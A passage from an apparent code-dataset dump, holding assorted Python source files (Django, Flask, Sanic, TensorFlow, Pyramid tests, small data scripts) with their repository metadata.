\"gsy0208@naver.com\",\r\n 'age' : 25\r\n }\r\n \r\n data3 = {\r\n 'name' : \"Seo\",\r\n 'email' : \"gsy0209@naver.com\",\r\n 'age' : 25\r\n }\r\n \r\n db = mydbConn()\r\n db.member.insert_many([data1, data2, data3])\r\n \r\n\r\n\r\nif __name__ == '__main__' :\r\n mydbConn()\r\n\r\n while True:\r\n screen()\r\n choice = input(\"-> \")\r\n\r\n if choice == \"0\":\r\n createNodeInit()\r\n elif choice == \"1\":\r\n memberAdd()\r\n elif choice == \"2\":\r\n memberAllList()\r\n elif choice == \"3\":\r\n memberSearch()\r\n elif choice == \"4\":\r\n memberModify()\r\n elif choice == \"5\" :\r\n os.system(\"cls\")\r\n elif choice == \"6\":\r\n sys.exit(1)","repo_name":"SeoYeon-Get/MongoDB","sub_path":"mini_project/db_mini program.py","file_name":"db_mini program.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24161387561","text":"import uuid\n\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom accounts.models import User\n\n\nclass Flower(models.Model):\n id = models.IntegerField(primary_key=True)\n users = models.ManyToManyField(\n User,\n related_name=\"flowers\",\n )\n name = models.CharField(unique=True, max_length=20)\n symbol = models.CharField(max_length=20)\n\n def __str__(self):\n return f\"{self.name}\"\n\n\nclass Diary(models.Model):\n def photo_upload_path(instance, filename):\n date_path = instance.date.strftime(\"%Y/%m/%d\")\n return f\"{date_path}/{filename}\"\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n flower = models.ForeignKey(\n Flower,\n on_delete=models.CASCADE,\n related_name=\"diaries\",\n null=True,\n blank=True,\n )\n user = models.ForeignKey(User, related_name=\"diaries\", on_delete=models.CASCADE)\n ko_content = models.CharField(\n max_length=100,\n null=True,\n blank=True,\n )\n en_content = models.CharField(\n max_length=100,\n null=True,\n blank=True,\n )\n custom_content = models.TextField(\n null=True,\n blank=True,\n )\n date = models.DateField()\n photo = models.ImageField(\n upload_to=photo_upload_path,\n null=True,\n blank=True,\n )\n\n def __str__(self):\n return f\"{self.user} {self.date}\"\n\n\nclass Photo(models.Model):\n def photo_upload_path(instance, filename):\n date_path = timezone.now().strftime(\"%Y/%m/%d\")\n return f\"{date_path}/{filename}\"\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n dairies = models.ForeignKey(Diary, on_delete=models.CASCADE, related_name=\"photos\")\n photo = models.ImageField(\n upload_to=photo_upload_path,\n null=True,\n blank=True,\n )\n","repo_name":"minicks/FlowerDiary","sub_path":"backend/diaries/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39737133162","text":"import os\nimport re\nfrom glob import glob\nfrom typing import List\n\nimport cv2\nimport numpy as np\nimport pyexr\nimport tensorflow as tf\nimport tensorflow_addons as tfa\n\nimport nn_utils.math_utils as math_utils\n\n\ndef read_image(path):\n _, extension = os.path.splitext(path)\n is_hdr = extension == \".hdr\"\n is_exr = extension == \".exr\"\n\n if is_hdr:\n img = cv2.cvtColor(\n cv2.imread(path, cv2.IMREAD_UNCHANGED), cv2.COLOR_BGR2RGB\n ).astype(np.float32)\n elif is_exr:\n img = pyexr.read(path)\n else:\n raise Exception(\"Environment maps need to be .exr or .hdr files.\")\n\n if img.min() < 0:\n img = img + img.min()\n\n return np.clip(np.nan_to_num(img, nan=0, posinf=np.max(img), neginf=0), 0, None)\n\n\ndef getBilinearFromUv(env_map: tf.Tensor, uvs: tf.Tensor) -> tf.Tensor:\n u = uvs[..., 0]\n v = uvs[..., 1]\n\n # vFlipped = 1 - v\n\n # u corresponds to width and v to heights\n u_reshaped = tf.reshape(u, (-1, tf.math.reduce_prod(u.shape[1:])))\n v_reshaped = tf.reshape(v, (-1, tf.math.reduce_prod(v.shape[1:])))\n\n uvs = tf.stack(\n [u_reshaped * (env_map.shape[2] - 1), v_reshaped * (env_map.shape[1] - 1)],\n axis=-1,\n )\n\n return tfa.image.interpolate_bilinear(env_map, uvs, indexing=\"xy\")\n\n\ndef getBilinearFromDirections(env_map: tf.Tensor, directions: tf.Tensor) -> tf.Tensor:\n uvs = math_utils.direction_to_uv(directions)\n return getBilinearFromUv(env_map, uvs)\n\n\ndef get_mip_level(path):\n return int(re.search(\"(?<=mip)\\d\", os.path.basename(path)).group(0))\n\n\ndef get_all_env_map_paths(hdridir, env_name):\n return sorted(\n glob(os.path.join(hdridir, env_name + \"_mip*.exr\",)), key=get_mip_level,\n )\n\n\ndef load_data(hdridir) -> List[np.ndarray]:\n base_files = os.path.join(hdridir, \"*_mip0.exr\")\n\n all_files = sorted(glob(base_files), key=os.path.basename)\n env_names = [os.path.basename(p).replace(\"_mip0.exr\", \"\") for p in all_files]\n num_levels = len(get_all_env_map_paths(hdridir, env_names[0]))\n\n mips = []\n for i in range(num_levels):\n mip_level = [\n read_image(os.path.join(hdridir, p + \"_mip%d.exr\" % i))[..., :3]\n for p in env_names\n ]\n mips.append(np.stack(mip_level))\n\n return mips\n\n\ndef split_dataset(dataset: List[np.ndarray], val_examples: int = 30):\n train_samples = [d[val_examples:] for d in dataset]\n val_samples = [d[:val_examples] for d in dataset]\n\n len_train = train_samples[0].shape[0]\n\n return train_samples, val_samples, len_train\n","repo_name":"cgtuebingen/Neural-PIL","sub_path":"dataflow/illumination_integration/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"48"} +{"seq_id":"33254426701","text":"import numpy as np\n#本函数用来实现朴素贝叶斯,用于垃圾文本的分类问题\ndef train_NBC(X,Y):\n num_sample = len(X)\n num_word = len(X[0])\n p_abusive = sum(Y)/num_sample\n train_1 = X[Y==1,:]\n train_0 = X[Y==0,:]\n p0 = (sum(train_0)+1)/(sum(sum(train_0))+2)\n p1 = (sum(train_1)+1)/(sum(sum(train_1))+2)\n return np.log(p0),np.log(p1),p_abusive\n\n#本函数用来创建词汇表\ndef create_voc(dataset):\n voc = set([])\n for documents in dataset:\n voc = voc | set(documents)\n return list(voc)\n\n#把输入的文档转换成词汇表示\ndef words2vec(voc,documents):\n vec = [0]*len(voc)\n for word in documents:\n if word in voc:\n vec[voc.index(word)]=1\n else:\n print('this word is not in the voc')\n return vec\n\ndef classify_NBC(document,p0,p1,p_abusive):\n p1 = sum(document*p1)+np.log(p_abusive)\n p0 = sum(document*p0)+np.log(1-p_abusive)\n if p1>p0:\n return 1\n else:\n return 0\n\nif __name__=='__main__':\n trainX = [['my','dog','has','flea','problems','help','please'],\n ['maybe','not','take','him','to','dog','park','stupid'],\n ['my','dalmation','is','so','cute','i','love','him']]\n trainY =[0,1,0]\n voc = create_voc(trainX)\n print(voc)\n train_mat = []\n for i in trainX:\n train_mat.append(words2vec(voc,i))\n p0,p1,pc = train_NBC(np.array(train_mat),np.array(trainY))\n print(p0)\n print(p1)\n test_doc = ['my']\n test_vec1 = np.array(words2vec(voc,test_doc))\n print(classify_NBC(test_vec1,p0,p1,pc))\n\n\n","repo_name":"zerowfz/machine_learning","sub_path":"bayes_clssifier/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"565640997","text":"import os\nimport time\n\nfrom sanic import Sanic\nfrom sanic.response import json, file_stream\nfrom xxhash_cffi import xxh32_hexdigest\nimport aiofiles\n\nfrom src.sanic_motor import BaseModel\nfrom src.models import File\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nMONGODB_URI = os.environ.get('MONGODB_HOST', 'mongodb://127.0.01:27017/filebed')\nBASE_URL = 'http://127.0.0.1:8000'\n\n\nasync def get_unix_time():\n return int(time.time())\n\n\nApp = Sanic('filebed')\n\nApp.config.update(\n {\n # Motor config\n 'MOTOR_URI': MONGODB_URI,\n 'LOGO': None,\n }\n)\n\n\nBaseModel.init_app(App)\n\n# 提供文件夹`static`里面的文件到URL `/static`的访问。\nApp.static('/static', BASE_DIR + '/static')\nApp.static('/upload', BASE_DIR + '/upload')\n\nBASE_UPLOAD_FOLDER = 'upload'\n\n\n@App.route('/')\nasync def index_page(request):\n return await file_stream('static/html/index.html')\n\n\n@App.route('/card_demo/')\nasync def files_page(request):\n return await file_stream('static/html/card_demo.html')\n\n\n@App.route('/cards/')\nasync def files_page(request):\n return await file_stream('static/html/cards.html')\n\n\n@App.route('/files/')\nasync def files_page(request):\n return await file_stream('static/html/files.html')\n\n\n@App.route('/api/files/')\nasync def files_api(request):\n current_page = get_current_page(request.args)\n page_size = get_page_size(request.args)\n\n qs = await File.find(\n {}, sort='create_at desc',\n page=current_page, per_page=page_size\n )\n datalist = []\n\n for obj in qs.objects:\n item = {\n 'file': BASE_URL + '/' + obj['path'],\n 'url': BASE_URL + '/' + obj['path'],\n 'type': obj['type'],\n 'name': obj['name'],\n 'size': obj['size'],\n 'create_at': obj['create_at']\n }\n datalist.append(item)\n\n return json({'data': datalist, 'code': 0})\n\n\nasync def write_file(path, body):\n\n async with aiofiles.open(path, 'wb') as f:\n await f.write(body)\n f.close()\n\n\n@App.route('/upload', methods=['POST'])\nasync def upload_api(request):\n upload_file = request.files.get('file')\n name = request.form.get('name')\n ftype = request.form.get('type')\n file_size = request.form.get('size')\n\n folder_path = '{}/{}'.format(\n BASE_UPLOAD_FOLDER,\n str(int(time.time()))\n )\n file_type = ftype.split('/')[0]\n\n file_ext = name.split('.')[-1]\n\n file_path = '{}/{}'.format(folder_path, xxh32_hexdigest(name).decode('utf-8') + '.{}'.format(file_ext))\n\n if not os.path.exists(folder_path):\n os.makedirs(folder_path)\n\n await write_file(file_path, upload_file.body)\n\n result = await File.insert_one({\n 'name': name,\n 'size': file_size,\n 'type': file_type,\n 'path': file_path,\n 'create_at': await get_unix_time(),\n })\n mission_id = str(result.inserted_id)\n\n return json(True)\n\n\n\ndef get_page_size(args):\n page_size = args.get('page_size', '20')\n try:\n page_size = int(page_size)\n except ValueError:\n page_size = 20\n return page_size\n\n\ndef get_current_page(args):\n current_page = args.get('page', '1')\n try:\n current_page = int(current_page)\n except ValueError:\n current_page = 1\n return current_page\n\n\nasync def get_files_page_data(request):\n current_page = get_current_page(request.args)\n page_size = get_page_size(request.args)\n\n total_page = await File.count({})\n pagedata = {\n 'total': total_page,\n 'page': current_page,\n 'page_size': page_size\n }\n\n return pagedata\n\n\n@App.route('/api/files/pagedata/')\nasync def files_pagedata_api(request):\n pagedata = await get_files_page_data(request)\n\n return json({'data': pagedata})\n","repo_name":"istommao/filebed","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36845595595","text":"from utils import get_configuration\nfrom utils import set_random_seeds\nfrom utils import set_configuration\nfrom TSC_Env import TSC_Env\n\nif __name__ == '__main__':\n args = set_configuration()\n para_config = get_configuration(args.para_dir)\n env_name = args.env\n port = args.port\n gui = args.gui\n print(para_config)\n print(env_name)\n total_episodes = para_config['total_episodes']\n sim_seed = para_config['sim_seed']\n set_random_seeds(sim_seed)\n env = TSC_Env(env_name, para_config, gui=gui, port=args.port)\n if args.load_model:\n env.agents.load_model(args.load_model_dir)\n env.run()\n if args.save_model:\n env.agents.save_model(args.save_model_dir)\n env.output_data()\n env.close()","repo_name":"Zhikaiiii/traffic-signal-control","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"40886295642","text":"import unittest\n\nfrom pyramid import testing\n\ndef _initTestingDB():\n from carvewithus.models import DBSession\n from carvewithus.models import Base\n from sqlalchemy import create_engine\n engine = create_engine('sqlite://')\n session = DBSession()\n session.configure(bind=engine)\n Base.metadata.bind = engine\n Base.metadata.create_all(engine)\n return session\n\ndef _registerRoutes(config):\n config.add_route('home', '/')\n config.add_route('login', '/login')\n \nclass UnitTests(unittest.TestCase):\n def setUp(self):\n self.session = _initTestingDB()\n self.config = testing.setUp()\n\n def tearDown(self):\n import transaction\n transaction.abort()\n testing.tearDown()\n\n def _addUser(self, username=u'username'):\n from carvewithus.models import User\n user = User(username=username, password=u'password', name=u'name',\n email=u'email')\n self.session.add(user)\n self.session.flush()\n\n\n def test_home_user_logged_in(self):\n from carvewithus.views import home\n self.config.testing_securitypolicy(userid='bhu@carvewithus.com')\n request = testing.DummyResource()\n response = home(request)\n self.assertEqual(response, {'user_email': 'bhu@carvewithus.com'})\n pass\n\n def test_home_user_logged_out(self):\n from carvewithus.views import home\n request = testing.DummyRequest()\n request.context = testing.DummyResource()\n response = home(request)\n self.assertEqual(response, {'user_email': None})\n\n def test_create_trip_post(self):\n from carvewithus.views import create_trip_post\n self.config.testing_securitypolicy(u'email')\n _registerRoutes(self.config)\n request = testing.DummyRequest()\n params = {'name': u'test4', 'summary': '', 'itinerary_count': u'2',\n 'itineraries-0.location': u'sf', \n 'itineraries-0.date': '11/01/2011',\n 'itineraries-0.time': '', 'itineraries-1.location': u'la',\n 'itineraries-1.date': '11/02/2011',\n 'itineraries-1.time': u'', 'transportation': u'BUS',\n 'spots_available': u'2', 'lodge_desc': u'', \n '_csrf': request.session.get_csrf_token()}\n request.method = 'POST'\n request.POST = params\n request.params = params\n self._addUser()\n result = create_trip_post(request)\n self.assertEqual(result['status'], 1)\n\n\nclass IntegrationTests(unittest.TestCase):\n def setUp(self):\n import carvewithus\n self.config = testing.setUp()\n self.config.include('carvewithus')\n\n def tearDown(self):\n testing.tearDown()\n\n def test_create_trip_logged_out(self):\n from carvewithus.views import create_trip\n _registerRoutes(self.config)\n request = testing.DummyRequest()\n response = create_trip(request)\n self.assertEqual(response.status_int, 302)\n self.failUnless('/login' in response.location)\n\n","repo_name":"benzheren/carvewith.us","sub_path":"carvewithus/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"21987275616","text":"from django.urls import path\n\nfrom .views import (\n ListBooking,\n DetailBooking,\n ListDiscount,\n DetailDiscount,\n ListFeedback,\n DetailFeedback,\n ListPurchaseHistory,\n ListTicket,\n DetailTicket,\n OrderItemCreateAPIView\n)\n\napp_name = 'tickets'\n\nurlpatterns = [\n path('books/', ListBooking.as_view(), name='book-list'),\n path('books//', DetailBooking.as_view(), name='book-detail'),\n \n path('discounts/', ListDiscount.as_view(), name='discount-list'),\n path('discounts//', DetailDiscount.as_view(), name='discount-detail'),\n \n path('feedbacks/', ListFeedback.as_view(), name='feedback-list'),\n path('feedbacks//', DetailFeedback.as_view(), name='feedback-detail'),\n \n path('tickets/', ListTicket.as_view(), name='ticket-list'),\n path('tickets//', DetailTicket.as_view(), name='ticket-detail'),\n \n path('history/', ListPurchaseHistory.as_view(), name='history-list'), \n \n path('order-item/', OrderItemCreateAPIView.as_view(), name='order-item'),\n]","repo_name":"MIA1kl/Neobis_Cinematica","sub_path":"tickets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13132220704","text":"import numpy as np\nimport datetime as dt\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\n\n#################################################\n# Database Setup\n#################################################\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(autoload_with=engine)\n\n# Save reference to the table\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n#################################################\n# Flask Setup\n#################################################\napp = Flask(__name__)\n\n\n#################################################\n# Flask Routes\n#################################################\n\n@app.route(\"/\")\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:
    \"\n f\"/api/v1.0/precipitation
    \"\n f\"/api/v1.0/stations
    \"\n f\"/api/v1.0/tobs
    \"\n f\"/api/v1.0/start-date
    \"\n f\"/api/v1.0/start-date/end-date
    \"\n f\"Format for start and end dates = (YYYYMMDD)\"\n )\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a dictionary of precipitation by date\"\"\"\n # Query all dates and precipitation data points\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n \n date_prcp_query = session.query(Measurement.date, Measurement.prcp).\\\n filter(Measurement.date > year_ago).all()\n\n # Reformat into dictionary\n date_prcp_dict = dict(date_prcp_query)\n\n session.close()\n\n # Return results in JSON format \n return jsonify(date_prcp_dict)\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a list of all stations from dataset\"\"\"\n \n # Query all stations \n all_stations = session.query(Station.station).all()\n\n session.close()\n\n # Return results in JSON format \n all_stations_unravel = list(np.ravel(all_stations))\n \n return jsonify(all_stations_unravel)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a list of temperature by date of most active station for previous year\"\"\"\n # Query dates and tobs data points\n \n # Define year ago point\n year_ago = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n \n # Query most active station\n most_act_station = session.query(Measurement.station, func.count(Measurement.station)).\\\n group_by(Measurement.station).\\\n order_by(func.count(Measurement.station).desc()).all()\n\n # Query date and tobs with filters\n date_tobs_query = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.station == most_act_station[0][0]).\\\n filter(Measurement.date > year_ago).all()\n\n # Reformat into dictionary\n date_tobs_dict = dict(date_tobs_query)\n\n session.close()\n\n # Return results in JSON format \n return jsonify(date_tobs_dict)\n\n@app.route(\"/api/v1.0/\")\ndef start(start = None):\n\n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a list of min, avg, and max temperature for specified date range\"\"\"\n # Query dates and tobs data points\n \n # Define start date\n start_date = dt.datetime.strptime(start, \"%Y%m%d\")\n \n # Define and query mix, max and avg temps\n min_temp = session.query(func.min(Measurement.tobs)).\\\n filter(Measurement.date > start_date).all()\n\n max_temp = session.query(func.max(Measurement.tobs)).\\\n filter(Measurement.date > start_date).all()\n\n avg_temp = session.query(func.avg(Measurement.tobs)).\\\n filter(Measurement.date > start_date).all()\n \n # Present results in a dictionary\n date_tobs_start = {\n 'Minimum temperature': min_temp[0][0],\n 'Maximum temperature': max_temp[0][0],\n 'Average temperature': avg_temp[0][0]\n }\n\n session.close()\n \n # Return results in JSON format\n return jsonify(date_tobs_start)\n\n@app.route(\"/api/v1.0//\")\ndef start_end(start = None, end = None):\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \"\"\"Return a list of min, avg, and max temperature for specified date range\"\"\"\n # Query all dates and tobs data points\n \n # Define start and end date\n start_date = dt.datetime.strptime(start, \"%Y%m%d\")\n end_date = dt.datetime.strptime(end, \"%Y%m%d\")\n\n # Define and query mix, max and avg temps\n min_temp = session.query(func.min(Measurement.tobs)).\\\n filter(Measurement.date > start_date).\\\n filter(Measurement.date < end_date).all()\n\n max_temp = session.query(func.max(Measurement.tobs)).\\\n filter(Measurement.date > start_date).\\\n filter(Measurement.date < end_date).all()\n\n avg_temp = session.query(func.avg(Measurement.tobs)).\\\n filter(Measurement.date > start_date).\\\n filter(Measurement.date < end_date).all()\n \n # Present results in a dictionary\n date_tobs_start_end = {\n 'Minimum temperature': min_temp[0][0],\n 'Maximum temperature': max_temp[0][0],\n 'Average temperature': avg_temp[0][0]\n }\n\n session.close()\n\n # Return results in JSON format \n return jsonify(date_tobs_start_end)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n","repo_name":"oli124/sqlalchemy-challenge","sub_path":"SurfsUp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40271106234","text":"from docutils import nodes\nfrom docutils.parsers.rst import Directive, directives\n\nfrom sphinxrego.opa import discover_policies\n\nimport logging\n\nlogger = logging.getLogger(\"sphinx-rego\")\n\n\nclass RegoDirective(Directive):\n has_content = True\n option_spec = {\n \"policy\": directives.unchanged_required,\n \"norecursive\": directives.flag,\n \"nocustom\": directives.flag\n }\n\n def run(self):\n if \"policy\" not in self.options:\n raise self.error(\":policy: should be specified\")\n\n logger.debug(f\"{self.__class__.__name__}.run with options: {self.options}\")\n recursive = \"norecursive\" not in self.options\n include_custom = \"nocustom\" not in self.options\n\n all_nodes = []\n for p, meta, custom in discover_policies(self.options[\"policy\"], recursive):\n policy_nodes = self.parse_rego(p, meta, custom, include_custom)\n all_nodes.extend(policy_nodes)\n\n logger.debug(f\"Generated {len(all_nodes)} nodes\")\n return all_nodes\n\n def parse_rego(self, path: str, meta: dict, custom: dict, include_custom: bool = True):\n \"\"\"\n :param path: path to rego file\n :param meta: __rego_metadoc__ main properties\n :param custom: __rego_metadoc__ custom properties\n :param include_custom: whether to include custom properties\n \"\"\"\n logger.debug(f\"Parsing .rego policy at path {path}\")\n\n root = nodes.section(ids=[meta[\"title\"], ])\n root += nodes.title(text=meta[\"title\"])\n\n # description\n if \"description\" in meta or \"id\" in meta:\n if \"id\" in meta:\n section = nodes.section(ids=[f\"{meta['title']}-ID\", ])\n section += nodes.subtitle(text=\"ID\")\n section += nodes.paragraph(text=meta[\"id\"])\n root += section\n if \"description\" in meta:\n section = nodes.section(ids=[f\"{meta['title']}-desc\", ])\n section += nodes.subtitle(text=\"Description\")\n section += nodes.paragraph(text=meta[\"description\"])\n root += section\n\n # custom\n if include_custom:\n for k, v in custom.items():\n section = nodes.section(ids=[f\"{meta['title']}-{k}\", ])\n section += nodes.subtitle(text=k)\n section += nodes.paragraph(text=v)\n root += section\n\n logger.debug(f\"Generated {len(root)} nodes\")\n return [root, ]\n\n\ndef setup(app):\n app.add_directive(\"rego\", RegoDirective)\n\n return {\n \"version\": \"0.1\",\n \"parallel_read_safe\": True,\n \"parallel_write_safe\": True,\n }\n","repo_name":"zenitysec/sphinx-rego","sub_path":"sphinxrego/ext.py","file_name":"ext.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"48"} +{"seq_id":"29823829350","text":"import numpy as np\nimport pandas as pd\n\nimport statsmodels.api as sm\n\nfrom sklearn import datasets\nfrom pandas.core import datetools\n\nclass MultipleRegression():\n def __init__(self, x, y, independent_columns, dependent_column):\n \"\"\"\n x - array of dictionaries which contain the independent values\n y - array of dictionaries which contain the dependent values for which we can apply linear regression\n independent_columns - array of column names which contain values that are independent\n dependent_column - column names which contain values that are dependent to independent values\n \"\"\"\n\n self.x = pd.DataFrame(x)\n self.y = pd.DataFrame(y)\n self.independent_columns = independent_columns\n self.dependent_column = dependent_column\n\n def run(self):\n x_axis = self.x[self.independent_columns]\n y_axis = self.y[self.dependent_column]\n\n model = sm.OLS(y_axis, x_axis).fit()\n predictions = model.predict(x_axis) # make the predictions by the model\n\n # R-squared - coefficient of determination, is a statistical measure of how well the regression line\n ## approximates the real data points\n\n # F-statistic - The F-statistic is simply a ratio of two variances. Variances are a measure of dispersion,\n ## or how far the data are scattered from the mean. Larger values represent greater dispersion.\n\n # Prob (F-statistic): the probability of obtaining the estimated value of the parameter\n ## if the actual parameter value is zero\n\n # Log-Likelihood: probability of predicting the actual value\n\n # Akaike information criterion (AIC) - is an estimator of the relative quality of\n ## statistical models for a given set of data\n\n # Bayesian information criterion (BIC) or Schwarz criterion (also SBC, SBIC) is a criterion\n ## for model selection among a finite set of models; the model with the lowest BIC is preferred\n\n print(model.summary())\n\n\ndef run_test():\n boston_dataset = datasets.load_boston()\n independent_columns = [\"RM\", \"LSTAT\"]\n dependent_column = \"MEDV\"\n\n x = pd.DataFrame(boston_dataset.data, columns=boston_dataset.feature_names)\n y = pd.DataFrame(boston_dataset.target, columns=[dependent_column])\n model = MultipleRegression(x, y, independent_columns, dependent_column)\n\n model.run()\n\nrun_test()\n","repo_name":"dobreandl/statistical-tests","sub_path":"Statistical-tests/Tests/MultipleRegression.py","file_name":"MultipleRegression.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74068889105","text":"\"\"\"listaContactos URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom inicio.views import miHomeView, otraVista\nfrom personas.views import personaTestView, personaCreateView, searchForHelp, metodoGet, metodoPost\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', miHomeView, name=\"página de inicio\"),\n path('otraVista/', otraVista),\n path('persona/', personaTestView, name = \"persona\"),\n path('agregar/',personaCreateView , name = \"crearpersona\"),\n path('search/',searchForHelp, name = \"buscar\"),\n path('metodoGet/',metodoGet, name = \"Get\"),\n path('metodoPost/',metodoGet, name = \"Post\"),\n path('post/',metodoPost, name = \"Post\"),\n]\n","repo_name":"omromero00/lab05","sub_path":"src/listaContactos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33361808869","text":"import os, sys\n\nreplace = {}\n\nwith open(sys.argv[1]) as f:\n\tlines = f.read().split(\"\\n\")\n\tmode = \"\"\n\tprev_mode = \"\"\n\tfor line in lines:\n\t\tsline = line.split(\"\\t\")\n\t\tif \"DIFF CHANGED\" in sline[0]:\n\t\t\treplace[sline[2]] = sline[0]+\"\\t\"+sline[1]+\"\\t\"\n\n\nwith open(sys.argv[2]) as f:\n\tlines = f.read().split(\"\\n\")\n\tfinal = []\n\tfor line in lines:\n\t\tsline = line.split(\"\\t\")\n\t\tif len(sline) > 1 and sline[1] in replace:\n\t\t\tline = replace[sline[1]]+\"\\t\".join(sline[1:])\n\t\t\tfinal.append(line)\n\tprint(\"\\n\".join(final))\n\n","repo_name":"ryzom/ryzomforge_adds","sub_path":"translations/fix_translation_words_hashes.py","file_name":"fix_translation_words_hashes.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70744636306","text":"# este script cuenta la cantidad de muestras de las bases de datos\n\nimport sys\nimport glob\nimport pandas as pd\nimport numpy as np\nfrom Bio import SeqIO\n\npath_dataset = \"/home/siso/datasets/MLDSP/\"\npath_dataset = sys.argv[1]\n\ndatasets = glob.glob(path_dataset + \"/*\")\n\ndata_str = []\n\nfor db in datasets:\n print(\"\\n\" + db)\n\n train_labels = pd.read_csv(db + '/train_labels.csv', names=[\"sequence\", \"class\"]) \n test_labels = pd.read_csv(db + '/test_labels.csv', names=[\"sequence\", \"class\"]) \n\n seq_len_acc = 0\n for file in train_labels.values:\n sequences = SeqIO.parse( db + \"/seq/\" + file[0], \"fasta\")\n for record in sequences:\n seq_len_acc += len(str(record.seq.upper()))\n\n for file in test_labels.values:\n sequences = SeqIO.parse( db + \"/seq/\" + file[0], \"fasta\")\n for record in sequences:\n seq_len_acc += len(str(record.seq.upper()))\n\n avg_seq_len = seq_len_acc/ (train_labels.values.shape[0] + test_labels.values.shape[0])\n\n data_count_train = train_labels.groupby(['class']).count()\n data_count_test = test_labels.groupby(['class']).count()\n\n #print(data_count_train)\n #print(data_count_test)\n\n #print(data_count_train.values.shape[0], data_count_test.values.shape[0])\n\n if data_count_train.values.shape[0] != data_count_test.values.shape[0]:\n print(\"\\n\" + db, \"have classes with 1 sample, impossible to train****************************\")\n continue\n\n samples_per_class = data_count_train.values + data_count_test.values\n print(\"samples per class:\", samples_per_class.T, \"total samples:\", np.sum(samples_per_class))\n\n file_name = db.split(\"/\")[-1]\n data_str.append( [file_name, str(avg_seq_len), str(samples_per_class.shape[0]), str(samples_per_class.T), np.sum(samples_per_class)] )\n\nprint(data_str)\n\ndata_df = pd.DataFrame(data=data_str, columns=[\"db\", \"avg seq length\", \"num classes\", \"sample per class\", \"total\"]) \n\nprint(data_df)\n\ndata_df.to_csv(\"db_description.csv\")\n\n# las bd que se estudiaron son:\n# *Primates, Dengue, *Protist, Fungi, \n \n\n","repo_name":"arceda/bio-samples","sub_path":"viral/deep/check_samples.py","file_name":"check_samples.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71250179665","text":"'''\nCreated on Oct 23, 2015\n\n@author: Alex\n'''\n\nfrom Main_Package.repository.Sequence_Handler import Sequence_Handler\nfrom Main_Package.utils.String_Methods import get_word_count, get_index\nfrom Main_Package.validator.Validation_Tools import Validator\nfrom Main_Package.utils.FileStream_Retriever import FileStream_Retriever\n\nclass Command_Handler:\n \"\"\"\n Handles the parsing of commands.\n 